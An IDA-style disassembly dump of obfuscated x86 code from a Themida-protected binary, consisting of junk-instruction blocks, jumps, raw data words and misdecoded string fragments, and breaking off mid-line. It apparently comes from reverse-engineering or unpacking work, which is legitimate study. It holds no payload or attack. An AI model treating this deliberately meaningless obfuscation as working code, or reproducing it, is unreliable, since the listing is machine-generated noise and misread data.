Themida_:00562C79j pop ecx mov ebx, [esp] add esp, 4 add ebx, 4 push ebp jmp loc_5565D8 ; --------------------------------------------------------------------------- dd 0E8E9C1FEh db 0C5h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55AFA7: ; CODE XREF: Themida_:0055CAF6j mov [esp], eax mov eax, 1A065B1Ah sub edx, eax push dword ptr [esp] pop eax add esp, 4 xor edx, 0F5F9D4F6h add edi, edx push dword ptr [esp] pop edx add esp, 4 add edi, 4 xor edi, [esp] xor [esp], edi xor edi, [esp] mov esp, [esp] jmp loc_5557DB ; --------------------------------------------------------------------------- db 0E9h, 31h, 4Fh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55AFE6: ; CODE XREF: Themida_:00555D65j mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp] pop esp loc_55AFF8: ; CODE XREF: Themida_:0055CD4Aj push ebx push ebp jmp loc_55B1C5 ; --------------------------------------------------------------------------- db 31h dd 0C33240Ch, 0F6E95C24h db 0Bh, 2 dup(0) ; --------------------------------------------------------------------------- loc_55B00B: ; CODE XREF: Themida_:005561F6j mov ebp, 273C6F59h jmp loc_550DE0 ; --------------------------------------------------------------------------- db 81h, 0CBh, 0E0h dd 0E9661F22h, 0FFFFDF20h, 5C243C87h, 0E9240489h, 287Bh ; --------------------------------------------------------------------------- loc_55B02C: ; CODE XREF: Themida_:005590CAj shl ecx, 5 jmp loc_55C343 ; --------------------------------------------------------------------------- dd 8904EC83h, 1DE9243Ch db 49h, 2 dup(0) ; --------------------------------------------------------------------------- loc_55B03F: ; CODE XREF: Themida_:00563305j push esp jmp loc_555869 ; --------------------------------------------------------------------------- loc_55B045: ; CODE XREF: Themida_:0055EF7Ej push edx push ecx mov ecx, 755C4089h add ecx, 8AA3BF9Fh mov edx, ecx pop ecx jmp loc_554E3C ; --------------------------------------------------------------------------- dw 8951h dd 0DCBB53E1h, 0C135CD43h, 0CB8103EBh, 1B6F2D97h, 0CEEB814Bh dd 815D0E7Fh, 0D77539F3h, 46C38110h, 0E93469DCh, 0FFFF877Fh dd 0E9243487h, 32A7h, 58C22958h, 5AE4C681h, 0B850135Dh dd 5C677BFBh, 158C601h, 0FBEE81D6h, 815C677Bh, 5D5AE4EEh dd 24148B13h, 0E904C483h, 8A6Ch, 2D5DE829h, 5A2F2158h dd 5805F801h, 55A2F21h, 3F692E91h, 5DA6BF57h, 0F781226Ch dd 1D530F61h, 0FF5FF801h, 3C8B2434h, 4C48324h, 0E904C483h dd 53C5h, 1B32E94Bh db 2 dup(0) ; --------------------------------------------------------------------------- loc_55B0F2: ; CODE XREF: Themida_:0055E82Fj push 696Ch mov [esp], edi push 100Ch mov [esp], esp add dword ptr [esp], 4 pop edi sub esp, 4 mov [esp], edx jmp loc_562D65 ; --------------------------------------------------------------------------- aBVnusX db 'êÂvué/x',0 align 10h dd 0F8E9D300h db 0A4h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55B127: ; CODE XREF: Themida_:0055EF5Ej sub ebp, ebx pop ebx add eax, ebp mov ebp, [esp] add esp, 4 add eax, 4 xor eax, [esp] xor [esp], eax xor eax, [esp] pop esp push eax push esp pop eax push ecx mov ecx, 33B57C96h dec ecx not ecx dec ecx jmp loc_55D380 ; --------------------------------------------------------------------------- loc_55B153: ; CODE XREF: Themida_:005598A1j push 2C475A05h mov eax, [esp] jmp loc_558E7E ; --------------------------------------------------------------------------- dword_55B160 dd 240C8B66h, 575B5453h, 46A45BFh, 0FFBB5347h, 0E9FFFFFFh ; DATA XREF: Themida_:0054FC94o dd 11D5h, 30E9525Dh db 0E8h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55B17F: ; CODE XREF: Themida_:0055444Bj mov eax, edx pop edx add eax, edi jmp loc_55F3DC ; --------------------------------------------------------------------------- loc_55B189: ; CODE XREF: Themida_:005653F8j mov edi, 630F7C67h and edi, 752F49DCh jmp loc_5590E2 ; --------------------------------------------------------------------------- aRsT db 'Ré ’',0 dw 5200h dd 463F34BAh, 0EEF28147h, 81584543h, 855436E2h, 17F28125h dd 3165F24Bh, 0DDE95AD0h, 56FFFF8Dh, 0FF51D5E9h db 0FFh ; --------------------------------------------------------------------------- loc_55B1C5: ; CODE XREF: Themida_:0055AFFAj mov ebp, 62951FCCh sub [esp+4], ebp pop ebp push dword ptr [esp] push dword ptr [esp] mov eax, [esp] add esp, 4 jmp loc_55AA45 ; --------------------------------------------------------------------------- db 0BAh dd 4, 3872DD05h, 2DD00173h, 733872DDh, 5A2434FFh, 4C481h dd 4870000h, 115EE924h, 0E0C10000h, 27BD5503h, 0E969CB75h dd 6104h, 4BAh, 81DEE900h db 2 dup(0) ; --------------------------------------------------------------------------- loc_55B21E: ; CODE XREF: Themida_:0055D343j push ebx mov ebx, 305907B3h push ecx mov ecx, 7452252Dh jmp loc_551B43 ; --------------------------------------------------------------------------- db 0B9h dd 19D61699h, 8108E9C1h, 0D55EA0C9h, 0F3E98144h, 0F73EB9B5h dd 72C181D1h, 81784539h, 2110AAE9h, 59C80172h, 8704C083h dd 205C2404h, 148B66F0h, 0E6895624h, 4BB53h, 0C6810000h dd 108A70C2h, 2893E9h, 4C9DE900h, 0E589FFFFh, 0C49AE956h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55B282: ; CODE XREF: Themida_:005565FFj not dword ptr [esp] pop esi inc esi jmp loc_562824 ; --------------------------------------------------------------------------- loc_55B28C: ; CODE XREF: Themida_:0055D6DAj push dword ptr [esp+4] pop eax pop dword ptr [esp] pop esp push ebp sub esp, 4 mov [esp], ebx push 58FF3F93h pop ebx or ebx, 49A34B2Ch shl ebx, 2 sub ebx, 12E0F1A7h mov ebp, ebx jmp loc_55DC7A ; --------------------------------------------------------------------------- loc_55B2BB: ; CODE XREF: Themida_:005560B7j push dword ptr [esp] mov ecx, [esp] jmp loc_55D0BC ; --------------------------------------------------------------------------- dw 0CA01h dd 4EC8359h, 0BD242C89h, 40686FA7h, 0FFCB47E9h, 5BD821FFh dd 5745720Dh, 1FCA2D4Fh, 21E92C14h, 4AFFFF98h, 818FEA81h dd 5DE96D1Dh, 53FFFF54h, 0FFE837E9h db 0FFh ; --------------------------------------------------------------------------- loc_55B2FD: ; CODE XREF: Themida_:0055ED12j mov ebp, 5A3941FFh or ebp, 32C33A9Ah jmp loc_562A27 ; --------------------------------------------------------------------------- db 5Ah, 8Fh, 4 aPsq db '$\Péq,',0 align 4 dd 0FF4BFAE9h, 243C89FFh, 0C781E789h, 4, 0E904C783h, 0FFFFF661h dd 81E18951h, 4C1h, 2C18300h, 0FF56EEE9h, 448158FFh, 3EF40424h dd 0B6E97261h, 58000045h, 0D800FC2Ch, 305BFC04h, 0C0B60FC3h dd 24148B66h, 1E9C68h, 24348900h, 402E68h, 3B24E900h, 1C890000h dd 0BB8E924h, 815A0000h, 4ECh, 0EA61E900h, 8957FFFFh, 0E95652E7h dd 5A07h, 1A6CF281h, 0EA810445h, 3FCE6165h, 0FA7DC281h dd 0D089677Dh, 8526E95Ah, 0E95F0000h, 0FFFF5837h ; --------------------------------------------------------------------------- loc_55B3B0: ; CODE XREF: Themida_:00559AA1j sub edx, 0E63FC518h jmp loc_557BA4 ; --------------------------------------------------------------------------- db 5Ch dd 4EC81h, 1C890000h, 2CD1BB24h, 514B2BA9h, 637DBF57h dd 0F9891869h, 0FFE9815Fh, 68FFFFFFh, 58E9h, 57240489h dd 87ACE9h, 5AD10900h, 34C18141h, 14D48F8h, 0CF8159CFh dd 78916B5Bh, 0FF949FE9h, 66D388FFh, 8124148Bh, 2C4h, 4EC8100h dd 0E9000000h, 0FFFF8240h, 5303EAC1h, 64526CBBh, 5BDA2170h dd 5E4DB850h, 5548543Ah, 607BF9BDh, 81F58174h, 0C16F4B50h dd 0D5F703E5h, 0FB2EF581h, 0E80963ACh, 5E8C15Dh, 9E67CE05h dd 51F7E916h, 0C1810000h, 45964278h, 0E908E1C1h, 0FFFF4B05h ; --------------------------------------------------------------------------- loc_55B460: ; CODE XREF: Themida_:005640A0j xor ecx, [esp] mov esp, [esp] jmp loc_55539D ; --------------------------------------------------------------------------- db 0FFh dd 835A2434h, 0D10104C4h, 240C335Ah, 33240C31h, 0E95C240Ch dd 599Bh ; --------------------------------------------------------------------------- loc_55B484: ; CODE XREF: Themida_:005551A0j add eax, 67701DF8h jmp loc_55AC56 ; --------------------------------------------------------------------------- dw 895Ch dd 1BD242Ch, 68000000h, 2D6Fh, 55243489h, 0FFDE68E9h, 5BD801FFh dd 0E9505152h, 10E7h, 0D2180BAh, 42DAF775h, 0FF6174E9h db 0FFh ; --------------------------------------------------------------------------- loc_55B4BD: ; CODE XREF: Themida_:00557ABDj mov eax, [esp] add esp, 4 mov ebx, ebp pop ebp inc ebx xor ebx, 340A38CEh xor edx, ebx push dword ptr [esp] pop ebx push eax push esp pop eax push ecx mov ecx, 4 add eax, ecx pop ecx sub eax, 4 xchg eax, [esp] pop esp mov [esp], esi mov esi, esp add esi, 4 push eax jmp loc_56126B ; --------------------------------------------------------------------------- dd 4EC81h, 0D5E90000h, 83FFFF7Fh, 0C8704C1h, 6685C24h dd 89000015h, 91682414h, 8B1F604Dh, 0C4832414h, 2E2C104h dd 7A0ACA81h, 6E94125h db 54h, 2 dup(0) ; --------------------------------------------------------------------------- loc_55B52F: ; CODE XREF: Themida_:00558915j add esp, 4 xor edx, 9A70A8Fh sub ebp, 6DA7DF6h sub ebp, 6A675F83h jmp loc_561A24 ; --------------------------------------------------------------------------- db 58h, 5Bh, 0C1h dd 895304E0h, 4C381E3h, 83000000h, 1C8704EBh, 81E95C24h dd 0B000000Bh, 0B6526652h, 66F0080Fh, 2CD0F65Ah, 77EB806Dh dd 0FF4F27E9h, 28EA81FFh, 13B197Ch, 0E8095AD5h, 0A8E9485Dh dd 66000025h, 5524048Bh, 0FFA38AE9h, 241C8BFFh, 4C481h dd 0C330000h, 240C3124h, 0E9240C33h, 0FFFFAC2Ch, 40558h dd 0BE560000h, 4, 875EF001h, 95E92404h db 0C2h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55B5C3: ; CODE XREF: Themida_:00550345j shr esi, 3 xor esi, 7F571251h sub esi, 61D04CABh sub edx, esi mov esi, [esp] add esp, 4 xchg edx, [esp] pop esp mov [esp], esi jmp loc_5585BB ; --------------------------------------------------------------------------- dw 0EE81h dd 6F704F78h, 0FFAFDBE9h, 66F028FFh, 28A7B151h, 0C8B66C8h dd 2C48124h, 66000000h, 6824148Bh, 0B99h, 54241489h, 3AD4E95Ah dd 0FDB80000h, 0BD3C6E08h, 2A345565h, 3FE9C531h, 5CFFFF64h dd 4C381h, 0BA520000h, 2, 875AD301h, 64E9241Ch, 81000088h dd 0E23034EDh, 0B0C58172h, 81038904h, 732417C5h, 81C5012Fh dd 732417EDh, 0B0ED812Fh, 0E9038904h, 0FFFFB02Ch, 4BDh dd 0C1A5E900h, 0D8F7FFFFh, 22281A25h, 61773535h, 620563DEh dd 89F3410Ah, 1F53E9C5h, 0F5810000h, 25F74C2Ah, 4503E5C1h dd 59C0E9h db 0 ; --------------------------------------------------------------------------- loc_55B695: ; CODE XREF: Themida_:0055F13Aj mov ebx, 50D17FA4h mov esi, ebx mov ebx, [esp] add esp, 4 jmp loc_55BC33 ; --------------------------------------------------------------------------- aQissr db 'Q‰áé"',0 align 2 dw 2C87h dd 0DE45E924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55B6BA: ; CODE XREF: Themida_:00558211j pop esp sub [esp+4], ebx mov ebx, [esp] jmp loc_55CFE4 ; --------------------------------------------------------------------------- loc_55B6C7: ; CODE XREF: Themida_:00557464j mov [esp], eax jmp loc_54FF17 ; --------------------------------------------------------------------------- db 50h dd 2B8h, 0E9C68900h, 3972h, 4C581h, 0ED810000h, 4, 5C242C87h dd 0FF83FDE9h, 47BF68FFh, 1C890000h, 2BB24h, 0C1810000h dd 7D4F65A6h, 0E981D901h, 7D4F65A6h, 5B2434FFh, 68E18951h dd 5058h, 0E9243C89h, 482h dword_55B720 dd 9D1C77FFh, 0D3665966h, 0E99C241Ch, 69B7h, 0D8007504h ; DATA XREF: Themida_:0054FE48o dd 80BDB353h, 0F38023EBh, 63EB80BCh, 52DAF380h, 0F328A4B6h dd 5BD8285Ah, 5856E9h, 4EC8100h, 89000000h, 4AB82404h dd 0BE79E718h, 0E78E58Ah, 48BC631h, 0DD9CE924h, 0F281FFFFh dd 0ED03913Eh, 0FF9027E9h, 0C8966FFh, 5828E924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55B782: ; CODE XREF: Themida_:00557665j push ebx push edx jmp loc_55F842 ; --------------------------------------------------------------------------- db 8Bh, 4, 24h dd 4C481h, 0ED810000h, 0A698B6h, 6C3EB81h, 0EB292D73h dd 6CADE9h db 0 ; --------------------------------------------------------------------------- loc_55B7A5: ; CODE XREF: Themida_:00559E7Aj add ebp, 4 jmp loc_55222E ; --------------------------------------------------------------------------- dd 0AB4BE958h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55B7B6: ; CODE XREF: Themida_:00561CB4j push dword ptr [esp+4] pop edx pop dword ptr [esp] jmp loc_55EA2F ; --------------------------------------------------------------------------- db 83h dd 97E904C4h db 4Bh, 2 dup(0) ; --------------------------------------------------------------------------- loc_55B7CB: ; CODE XREF: Themida_:00562873j add edi, 4 xchg edi, [esp] pop esp mov eax, ecx pop ecx mov esi, [esp] add esp, 4 jmp loc_556B1B ; --------------------------------------------------------------------------- dw 0B450h dd 0E1F480B4h, 43E9E628h db 0BDh, 2 dup(0FFh) byte_55B7F3 db 64h ; DATA XREF: Themida_:0054FD7Co dd 83028B66h, 0C8904ECh, 68E18924h, 3AD8h, 68241489h, 4A73h dd 68243C89h, 211Dh, 0BB241C89h, 0AD56C98h, 0FCF684Bh dd 4890000h, 3A71B824h, 0F740438Fh, 43EC05D8h, 4E9A05Ch db 27h, 2 dup(0) ; --------------------------------------------------------------------------- loc_55B837: ; CODE XREF: Themida_:00562E8Bj push esp pop eax add eax, 4 jmp loc_5576E2 ; --------------------------------------------------------------------------- loc_55B843: ; CODE XREF: Themida_:00560102j mov [esp], esp jmp loc_5520B6 ; --------------------------------------------------------------------------- db 0BDh dd 12985287h, 34FFEE01h, 0C4AAE924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55B85A: ; CODE XREF: Themida_:0055CB20j xor [esp+4], edi pop edi pop esi jmp loc_55CC09 ; --------------------------------------------------------------------------- loc_55B865: ; CODE XREF: Themida_:00550035j pop eax sub [edi+24h], edx mov edx, [esp] jmp loc_56117A ; --------------------------------------------------------------------------- loc_55B871: ; CODE XREF: Themida_:00554C18j pop eax dec ebx add ebx, 2EFC180Bh mov eax, ebx mov ebx, [esp] add esp, 4 shr eax, 6 or eax, 330D0537h xor eax, 0E875CDCh shr eax, 6 xor eax, 0F4E942h add ebx, 48BB5BA3h add ebx, 13B35E03h add ebx, eax push eax mov eax, 6EA506BFh sub eax, 4FC50356h xor eax, 2589038Bh sub eax, 27B5A2DFh sub ebx, eax pop eax sub ebx, 48BB5BA3h mov eax, [esp] add esp, 4 sub ebx, 4 jmp loc_557184 ; --------------------------------------------------------------------------- dw 0CE89h dd 0FF4F81E9h db 0FFh ; --------------------------------------------------------------------------- loc_55B8DD: ; CODE XREF: Themida_:00558396j mov edx, [esp] add esp, 4 xor edx, eax push dword ptr [esp] jmp loc_553F09 ; --------------------------------------------------------------------------- dd 6EC4E95Ah db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55B8F6: ; CODE XREF: Themida_:00558DC6j mov eax, esp push edi mov edi, 532E0214h or edi, 29AF3AE5h jmp loc_55ECD6 ; --------------------------------------------------------------------------- db 58h, 50h, 0B0h dd 0C501E98Ch db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55B912: ; CODE XREF: Themida_:0056051Dj push ecx mov ecx, 1F803C74h shl ecx, 8 jmp loc_55733B ; --------------------------------------------------------------------------- loc_55B920: ; CODE XREF: Themida_:005519FFj xchg ecx, [esp] pop esp jmp loc_5522CE ; --------------------------------------------------------------------------- loc_55B929: ; CODE XREF: Themida_:0055CF43j sub esp, 4 mov [esp], ebp jmp loc_55959D ; --------------------------------------------------------------------------- dd 50EBB353h, 9CE9BCB4h db 0DCh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55B93F: ; CODE XREF: Themida_:005529E5j add ebp, 4 add ebp, 4 xchg ebp, [esp] pop esp jmp loc_56398B ; --------------------------------------------------------------------------- loc_55B954: ; CODE XREF: Themida_:00553600j push 5E3Fh mov [esp], edx sub esp, 4 mov [esp], esi mov esi, 10h sub esp, 4 mov [esp], esi add dword ptr [esp], 76D73E50h push dword ptr [esp] mov edx, [esp] add esp, 4 add esp, 4 sub edx, 76D73E50h mov esi, [esp] add esp, 4 and ebx, edx push dword ptr [esp] pop edx sub esp, 4 jmp loc_55FA33 ; --------------------------------------------------------------------------- dw 8358h dd 505104C4h, 0FFEA9AE9h, 666855FFh, 5D6F8C0Fh, 8106EDC1h dd 0FFFFFFEDh, 272BE9FFh, 0F5810000h, 3DEF2E83h, 0FF6E89E9h dd 7CC681FFh, 8168B657h, 502D07F6h, 55DEF70Fh, 7A4F35BDh dd 237DE916h, 4890000h, 2B824h, 0EE810000h, 6DB91C4Ch dd 52E9C601h, 83FFFF78h, 0F93104C4h, 62BD555Fh, 0C136FF5Bh dd 0C0E908E5h, 0FFFF6Ch, 34E959EBh, 83FFFFF9h, 506602C4h dd 0E230FBB4h, 0E9505866h, 0AD5h ; --------------------------------------------------------------------------- loc_55BA2C: ; CODE XREF: Themida_:0055111Fj add esp, 4 jmp loc_55003A ; --------------------------------------------------------------------------- db 81h dd 0E843CCEAh, 45E95039h, 31FFFF59h, 9B15E9C5h, 0C5890000h dd 0FFF8F0E9h, 89FD89FFh, 3C8B5DEAh, 4C48324h, 8904EC83h dd 0FE9242Ch db 0E7h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55BA67: ; CODE XREF: Themida_:00559443j xor [esp], esi xor esi, [esp] jmp loc_554731 ; --------------------------------------------------------------------------- loc_55BA72: ; CODE XREF: Themida_:005581CFj pop ebp jmp loc_552DFA ; --------------------------------------------------------------------------- dd 8324148Bh, 815F04C4h, 4C7h, 4EC8300h, 68241489h, 5E12h dd 0E9243489h, 0FFFF4B5Ah ; --------------------------------------------------------------------------- loc_55BA98: ; CODE XREF: Themida_:0055EE36j mov ebx, 52125C14h push 52125C15h pop esi jmp loc_5542D4 ; --------------------------------------------------------------------------- dd 0D2EB951h, 0E9C17234h, 34D8E903h, 0F1010000h, 4E9815Eh dd 87000000h, 895C240Ch, 53502414h, 15E96CB3h, 81FFFFBEh dd 0B62E68F3h, 5BD90141h, 24348151h, 3F800233h, 7A6BE95Dh dd 3BB90000h, 2158150Ah, 0BD5559C8h, 0C397C166h, 895DE829h dd 6879E9C7h, 30680000h, 8900006Bh, 44E9240Ch, 0B1FFFF88h dd 9159E91Bh, 0E90000h, 81FFFF44h, 4639AFEEh, 8E6C122h dd 0B9B6EE81h, 0F0316FFBh, 0FFD2C1E9h, 8B5450FFh, 89572404h dd 4C781E7h, 0E9000000h, 1875h ; --------------------------------------------------------------------------- loc_55BB40: ; CODE XREF: Themida_:0055901Aj mov [esp], eax push ebx jmp loc_562FFB ; --------------------------------------------------------------------------- db 5Ah, 4, 0E9h dd 5CE9C328h db 0E7h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55BB53: ; CODE XREF: Themida_:005520BAj pop dword ptr [esp] add dword ptr [esp], 4 jmp loc_5581C5 ; --------------------------------------------------------------------------- loc_55BB5F: ; CODE XREF: Themida_:00560072j push eax mov eax, 78D2672Ah add ecx, eax pop eax push 47A2h mov [esp], ebp mov ebp, 605D20AFh jmp loc_5606EB ; --------------------------------------------------------------------------- dw 0CE01h dd 0E8EDE959h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55BB82: ; CODE XREF: Themida_:00560CA4j xchg esi, [esp] jmp loc_555EC3 ; --------------------------------------------------------------------------- loc_55BB8A: ; CODE XREF: Themida_:00553AE9j sub eax, 37837B74h mov ebp, eax pop eax jmp loc_552ED9 ; --------------------------------------------------------------------------- db 8Bh dd 0C483242Ch, 6BF4E904h, 0BBFFFFFh, 813B8630h, 75145EE7h dd 0EF7810Eh, 10A0410h, 485EE9F9h db 2 dup(0) ; --------------------------------------------------------------------------- loc_55BBBA: ; CODE XREF: Themida_:0055F509j add edx, 4 xchg edx, [esp] pop esp jmp loc_552834 ; --------------------------------------------------------------------------- loc_55BBC6: ; CODE XREF: Themida_:00558E7Fj push esp jmp loc_55CB14 ; --------------------------------------------------------------------------- loc_55BBCC: ; CODE XREF: Themida_:00561421j add esp, 4 add ebp, 4 add ebp, 4 xchg ebp, [esp] pop esp and ecx, esi push dword ptr [esp] pop esi add esp, 4 shr ecx, 0 or eax, eax jz loc_561180 sub esp, 4 jmp loc_55DF0A ; --------------------------------------------------------------------------- db 89h, 14h, 24h dd 62E95A54h db 0C6h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55BC0B: ; CODE XREF: Themida_:00562ED2j mov ebp, [esp] push edi mov edi, esp jmp loc_5587D2 ; --------------------------------------------------------------------------- dw 0EAC1h dd 0CEF28108h, 8140215Eh, 853055E2h, 41EA8157h, 0C14EB07Eh dd 55E908EAh db 56h, 2 dup(0) ; --------------------------------------------------------------------------- loc_55BC33: ; CODE XREF: Themida_:0055B6A5j push edi mov edi, 683300F2h xor esi, edi mov edi, [esp] add esp, 4 sub esi, 5B387B37h add esi, 37738D7h push 4ACCh mov [esp], edi push edx push 75312934h pop edx sub edx, 940FEC40h mov edi, edx jmp loc_550A10 ; --------------------------------------------------------------------------- db 0F7h, 0D7h, 0F7h dd 0CDBD55DFh, 817B7277h, 5241A6EDh, 81DDF716h, 633E2BEDh dd 5DEF29A3h, 0F75FFD89h, 2AC581D5h, 0E936D24Eh, 0FFFFD2D9h ; --------------------------------------------------------------------------- loc_55BC94: ; CODE XREF: Themida_:00557022j add dword ptr [esp+4], 28163696h pop ebp jmp loc_55F2B8 ; --------------------------------------------------------------------------- loc_55BCA2: ; CODE XREF: Themida_:0055734Dj not ecx xor ecx, 0F22A2465h jmp loc_558C59 ; --------------------------------------------------------------------------- db 0FFh a4SG db '4$éÞg',0 dw 5900h dd 5758C329h, 181D51BFh, 4EFC151h, 1BB2C781h, 0D1E92462h dd 87FFFF5Bh, 248B2404h, 241C8924h, 241C8B54h, 4C481h dd 0BD550000h, 4E4C7393h, 3EDC145h, 27C7ED81h, 0F5810332h dd 69766AFh, 51BEE9h, 45D5F700h, 791BED81h, 83E9D49Ah db 0Fh, 2 dup(0) byte_55BD0B db 66h ; DATA XREF: Themida_:0054FDBCo dd 5124048Bh, 7AE9E189h, 0F7FFFF87h, 0C6A68E1h, 14890000h dd 0E99C5024h, 0FFFF821Fh, 0E9E38953h, 121Eh, 4C181h, 0C1830000h dd 240C8704h, 7BEF815Ch, 0E9061230h, 95E0h, 0C1015D5Bh dd 43D6E9h, 5FC8B900h, 0EB8178BBh, 4C1B6A6Eh, 0BD55CB01h dd 7A2208FDh, 0F581DDF7h, 0C9C69D6Dh, 595DEB01h, 6852h dd 72E90000h, 5200001Dh, 0C281E289h, 4, 4EA81h, 14870000h dd 14895C24h, 97F2E924h, 815A0000h, 0C76136EBh, 5BDE010Bh dd 0E902C683h, 0FFFF5D25h, 8958C629h, 24348BF1h, 0E904C483h dd 4705h ; --------------------------------------------------------------------------- loc_55BDB8: ; CODE XREF: Themida_:00556F17j xor ebp, 68C61CC7h push ebp mov esi, [esp] add esp, 4 mov ebp, [esp] add esp, 4 shl esi, 1 jmp loc_55FC2D ; --------------------------------------------------------------------------- db 50h, 0FFh, 74h dd 34FF0424h, 24048B24h, 8104C483h, 4C4h, 24048F00h, 0FFF69DE9h dd 0C0D7F6FFh, 0EF8004E7h, 0CE780DBh, 0C0E9CFFEh db 7Eh, 2 dup(0) ; --------------------------------------------------------------------------- loc_55BE03: ; CODE XREF: Themida_:00556547j inc bh sub bh, 3Ch jmp loc_55900A ; --------------------------------------------------------------------------- loc_55BE0D: ; CODE XREF: Themida_:00554C04j push eax mov eax, 615B579Eh add eax, 44A22099h jmp loc_5622B1 ; --------------------------------------------------------------------------- db 80h, 0C3h, 77h dd 0FFBAD8E9h db 0FFh ; --------------------------------------------------------------------------- loc_55BE25: ; CODE XREF: Themida_:0055016Dj xor ebx, 63E00643h shr ebx, 3 sub ebx, 7CC434E5h not ebx and ebx, 70756080h add ebx, 8FFFFF84h add ecx, ebx pop ebx xor ecx, [esp] xor [esp], ecx jmp loc_563E84 ; --------------------------------------------------------------------------- loc_55BE50: ; CODE XREF: Themida_:005593BDj push 229Bh mov [esp], eax push dword ptr [esp+4] jmp loc_55F975 ; --------------------------------------------------------------------------- loc_55BE61: ; CODE XREF: Themida_:0055ABD4j add ebx, 36F91078h pop eax push ebp mov ebp, 165E3783h add ecx, ebp pop ebp jmp loc_55FAAC ; --------------------------------------------------------------------------- loc_55BE76: ; CODE XREF: Themida_:0055D333j pop esp mov [esp], eax mov ah, 54h or bl, ah pop eax neg bl shl bl, 3 xor bl, 24h add cl, bl pop ebx xor al, cl mov ecx, [esp] push ebx mov ebx, esp jmp loc_55DA3D ; --------------------------------------------------------------------------- loc_55BE97: ; CODE XREF: Themida_:0055A058j neg ebx shr ebx, 5 sub ebx, 0C3C56AEFh add ecx, ebx pop ebx or ecx, 565B4A9Dh push 3384h mov [esp], edx push edi push eax mov eax, 6A9A73D3h mov edi, 0A7FE0261h add edi, eax pop eax shl edi, 7 neg edi jmp loc_565060 ; --------------------------------------------------------------------------- dd 5933BD55h, 5DE9502Eh db 42h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55BED7: ; CODE XREF: Themida_:00555F7Aj mov [esp], ecx jmp loc_55646A ; --------------------------------------------------------------------------- db 56h dd 0D3295E5Ah, 1CEB685Ah, 1C890000h, 5350E924h, 0B9BF0000h dd 81446E3Bh, 0F31954CFh, 4EC836Eh, 0B8240489h, 0D332FF17h dd 2958C701h, 1962E9F8h, 0CE010000h, 657CEE81h, 875935C9h dd 248B2434h, 0E1895124h, 3C1FE9h, 4C48300h, 0DD20E95Bh dd 0FEBBFFFFh, 0F709BE06h, 0ABCB81DBh, 81587A3Ch, 0EF6A60E3h dd 31EB810Dh, 0E91BAC26h, 8440h, 54E9F001h, 53FFFF87h dd 5B2404FFh, 0E6E9DBF7h db 0B7h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55BF63: ; CODE XREF: Themida_:0055E373j push edx mov edx, ecx push ecx mov ecx, edx mov ebp, ecx jmp loc_551A16 ; --------------------------------------------------------------------------- loc_55BF70: ; CODE XREF: Themida_:0055A1C6j sub eax, 1F193499h add eax, 652E035Eh push ebp mov ebp, 2BDF257Ah and eax, ebp pop ebp jmp loc_556A87 ; --------------------------------------------------------------------------- dd 5D2434FFh, 5104C483h, 0BA52E189h, 4, 815AD101h, 4E9h dd 240C8700h, 8924248Bh, 0BF57242Ch, 1EDA018Ah, 0FFFCB4E9h dd 240489FFh, 0FFA704E9h db 0FFh ; --------------------------------------------------------------------------- loc_55BFBD: ; CODE XREF: Themida_:0055C8DBj sub edx, edi sub edx, 2E75977h jmp loc_56330A ; --------------------------------------------------------------------------- loc_55BFCA: ; CODE XREF: Themida_:0055EDCAj sub esi, 1 shr esi, 4 dec esi inc esi add esi, 3C745F15h push edi mov edi, 95312B9h shl edi, 7 and edi, 17E31F06h sub edi, 1811C01h sub esi, 50A96EBFh add esi, edi add esi, 50A96EBFh pop edi sub esi, 83C0B58h sub edi, esi mov esi, [esp] add esp, 4 and ecx, edi jmp loc_553EF2 ; --------------------------------------------------------------------------- loc_55C014: ; CODE XREF: Themida_:005642EFj xchg edi, [esp] pop esp mov [esp], edx mov ebp, [esp] sub esp, 4 mov [esp], ecx mov ecx, esp add ecx, 4 add ecx, 4 xor ecx, [esp] xor [esp], ecx xor ecx, [esp] jmp loc_562AEE ; --------------------------------------------------------------------------- dd 6804C483h, 1708h, 0FF9A95E9h, 5DF768FFh, 4890000h, 34FF5424h dd 0F948E924h, 0EC83FFFFh, 241C8904h, 904AE950h, 89660000h dd 9B5240Ch, 5966EB28h, 5958E9h, 0B1B95100h, 0F70FEA32h dd 3EE941D9h, 83000015h, 0FA3002C4h, 93EA805Bh, 0FFC45BE9h dd 24048FFFh, 8852665Ch, 88D2F6C2h, 0E95A66D0h, 0FFFFA675h dd 5763E951h, 0BA520000h, 22ED48Ch, 0E95AD129h, 0FFFF6830h dd 0E904EC83h, 1FEAh dword_55C0C4 dd 0FF2434FFh, 34FF2434h, 2434FF24h, 4C48358h, 4EC81h ; DATA XREF: Themida_:0054FDD0o dd 0C890000h, 0E9E18924h, 0FFFF5342h, 52243489h, 0D47834BAh dd 5AD68952h, 78E9F031h, 1FFFF42h, 0E904244Ch, 0FFFF7E87h dd 81E18951h, 4C1h, 4C18100h, 33000000h, 0C31240Ch, 240C3324h dd 8324248Bh, 0C8904ECh, 4B85024h, 53000000h, 0D989C389h dd 8B2434FFh, 0C483241Ch, 4C48104h, 58000000h, 0B3E9CF01h db 50h, 2 dup(0) ; --------------------------------------------------------------------------- loc_55C143: ; CODE XREF: Themida_:00563155j pop eax xchg ebp, [esp] pop esp movzx eax, al push dword ptr [edi+eax*4] push 5D95h mov [esp], ecx mov ecx, 3FCh jmp loc_563E0E ; --------------------------------------------------------------------------- loc_55C160: ; CODE XREF: Themida_:005578C7j xor edx, 12127F98h sub edx, 3DCDB143h jmp loc_5650EB ; --------------------------------------------------------------------------- byte_55C171 db 0FFh, 34h, 